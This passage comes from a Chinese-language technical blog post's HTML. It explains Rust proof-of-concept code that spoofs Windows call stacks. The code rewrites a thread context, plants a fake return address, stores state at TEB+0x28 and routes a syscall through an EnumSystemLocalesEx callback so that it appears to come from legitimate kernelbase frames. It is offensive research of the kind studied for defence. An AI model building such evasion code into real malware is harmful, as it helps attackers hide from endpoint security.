BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">构建重定向栈：</span></strong></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">let</span></span><span leaf=""> real_return_address </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">context_record }).Rip;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">let</span></span><span leaf=""> new_rsp             </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">context_record }).Rsp </span><span style="color: rgb(215, 58, 73);"><span leaf="">-</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">8</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">write_volatile</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;</span></span><span leaf="">raw </span><span style="color: rgb(215, 58, 73);"><span leaf="">mut</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">context_record).Rsp, new_rsp) };</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">write_volatile</span></span><span leaf="">(new_rsp </span><span style="color: rgb(215, 58, 73);"><span leaf="">as</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">*mut</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">, real_return_address) };</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我从父级的 RSP 减去 8 并将真实返回地址放在那里。这模拟了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CALL</span></code><span leaf="">会做的事情。当 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumSystemLocalesEx</span></code><span leaf="">最终返回时，其 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ret</span></code><span leaf="">弹出此地址，控制权回到 TP 内部，就像什么都没发生过一样。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">备份栈槽并设置 Enum 函数调用：</span></strong></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf="">// Save the stack slots that the enum function will use</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">let</span></span><span leaf=""> sp_orig </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">context_record }).Rsp </span><span style="color: rgb(215, 58, 73);"><span leaf="">as</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">*mut</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">args.backup_addr_arg5 </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> {  sp_orig.</span><span style="color: rgb(111, 66, 193);"><span leaf="">add</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">4</span></span><span leaf="">) } </span><span style="color: rgb(215, 58, 73);"><span leaf="">as</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">; </span><span style="color: rgb(106, 115, 125);"><span leaf="">// RSP + 0x20</span></span><span leaf=""><br/></span><span leaf="">args.backup_val_arg5  </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">sp_orig.</span><span style="color: rgb(111, 66, 193);"><span leaf="">add</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">4</span></span><span leaf="">) };</span><span leaf=""><br/></span><span style="color: rgb(106, 115, 125);"><span leaf="">// ... same for positions 5 and 6 ...</span></span><span leaf=""><br/></span><span style="color: rgb(106, 115, 125);"><span leaf="">// Set up the call to EnumSystemLocalesEx(callback, 0, 0, 0)</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">write_volatile</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;</span></span><span leaf="">raw </span><span style="color: rgb(215, 58, 73);"><span leaf="">mut</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">context_record).Rip, enum_cb_addr) };</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">write_volatile</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;</span></span><span leaf="">raw </span><span style="color: rgb(215, 58, 73);"><span leaf="">mut</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">context_record).Rcx, cb          ) };</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">write_volatile</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;</span></span><span leaf="">raw </span><span style="color: rgb(215, 58, 73);"><span leaf="">mut</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">context_record).Rdx, </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">           ) };</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">write_volatile</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;</span></span><span leaf="">raw </span><span style="color: rgb(215, 58, 73);"><span leaf="">mut</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">context_record).R8 , </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">           ) };</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">write_volatile</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;</span></span><span leaf="">raw </span><span style="color: rgb(215, 58, 73);"><span leaf="">mut</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">*</span></span><span leaf="">context_record).R9 , </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">           ) };</span><span leaf=""><br/></span><span style="color: rgb(106, 115, 125);"><span leaf="">// Write the enum function&#39;s 5th, 6th, 7th arguments onto the stack</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">let</span></span><span leaf=""> sp_new </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> new_rsp </span><span style="color: rgb(215, 58, 73);"><span leaf="">as</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">*mut</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">write_volatile</span></span><span leaf="">(sp_new.</span><span style="color: rgb(111, 66, 193);"><span leaf="">add</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">5</span></span><span leaf="">), </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">) }; </span><span style="color: rgb(106, 115, 125);"><span leaf="">// new_rsp + 0x28</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">write_volatile</span></span><span leaf="">(sp_new.</span><span style="color: rgb(111, 66, 193);"><span leaf="">add</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">6</span></span><span leaf="">), </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">) }; </span><span style="color: rgb(106, 115, 125);"><span leaf="">// new_rsp + 0x30</span></span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">write_volatile</span></span><span leaf="">(sp_new.</span><span style="color: rgb(111, 66, 193);"><span leaf="">add</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">7</span></span><span leaf="">), </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">) }; </span><span style="color: rgb(106, 115, 125);"><span leaf="">// new_rsp + 0x38</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最后一个代码块值得解释。39 个 Enum 函数中有一些接受超过 4 个参数（在我识别的函数中最多 7 个）。这些额外参数放在栈上。如果我们不在那里写入正确的值，Enum 函数会读取垃圾值并崩溃。通过将这些位置清零，我们确保篮子中的每个 Enum 函数都能安全调用，无论其参数数量。在此 PoC 中，仅使用了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumSystemLocalesEx</span></code><span leaf="">（4 个参数），但基础设施已为完整的 39 函数篮子准备就绪。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">TEB 交接与上下文切换：</span></strong></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">let</span></span><span leaf=""> teb_addr </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">get_teb_address</span></span><span leaf="">();</span><span leaf=""><br/></span><span leaf="">args.saved_aup </span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">read_volatile</span></span><span leaf="">(teb_addr.</span><span style="color: rgb(111, 66, 193);"><span leaf="">add</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x28</span></span><span leaf="">) </span><span style="color: rgb(215, 58, 73);"><span leaf="">as</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">*const</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">) };</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">write_volatile</span></span><span leaf="">(teb_addr.</span><span style="color: rgb(111, 66, 193);"><span leaf="">add</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">0x28</span></span><span leaf="">).</span><span style="color: rgb(111, 66, 193);"><span leaf="">cast</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">::</span></span><span leaf="">&lt;</span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">&gt;(), context </span><span style="color: rgb(215, 58, 73);"><span leaf="">as</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">u64</span></span><span leaf="">) };</span><span leaf=""><br/></span><span style="color: rgb(111, 66, 193);"><span leaf="">user_mode_continue</span></span><span leaf="">(context_record, new_rsp);</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">将 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EmbeddedContext</span></code><span leaf="">指针写入 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TEB+0x28</span></code><span leaf="">，然后切换上下文。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">5.4 阶段 2：Enum 回调（系统调用执行）</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EnumSystemLocalesEx</span></code><span leaf="">调用我们的回调。栈现在合法地包含 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kernelbase!EnumSystemLocalesEx</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kernelbase!Internal_EnumSystemLocales</span></code><span leaf="">。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">#[inline(never)]</span><span leaf=""><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">extern</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;system&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">fn</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">manual_stack_unwind_enum</span></span><span leaf="">() -&gt; </span><span style="color: rgb(215, 58, 73);"><span leaf="">i32</span></span><span leaf=""> {</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">两个关键属性：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">#[inline(never)]</span></code><p><span leaf="">：函数</span><strong><span leaf="">必须</span></strong><span leaf="">有自己的栈帧和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.pdata</span></code><span leaf="">中的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RUNTIME_FUNCTION</span></code><span leaf="">条目。否则 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RtlVirtualUnwind</span></code><span leaf="">无法通过它展开。我是通过惨痛教训学到的。</span></p></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">extern &#34;system&#34;</span></code><p><span leaf="">：匹配 Windows 回调 ABI。实际的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">LOCALE_ENUMPROCEX</span></code><span leaf="">签名接受三个参数（区域设置字符串、标志、lparam），但由于我们全部忽略（改为从 TEB 读取状态），零参数声明工作正常。在 x64 上调用者负责清理，所以不匹配是无害的。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">回调从 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TEB+0x28</span></code><span leaf="">检索 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EmbeddedContext</span></code><span leaf="">，通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">magic</span></code><span leaf="">验证，恢复备份的栈槽，递增 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">invoke_count</span></code><span leaf="">，然后：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">首次调用（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">invoke_count</span></code><span leaf="">== 1）：设置 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">syscall</span></code></strong></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">又一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RtlCaptureContext</span></code><span leaf="">+ </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RtlVirtualUnwind</span></code><span leaf="">循环，这次从回调内部展开。父级 RIP 现在指向 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kernelbase!Internal_EnumSystemLocales</span></code><span leaf="">。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">unsafe</span></span><span leaf=""> { </span><span style="color: rgb(111, 66, 193);"><span leaf="">write_volatile</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span 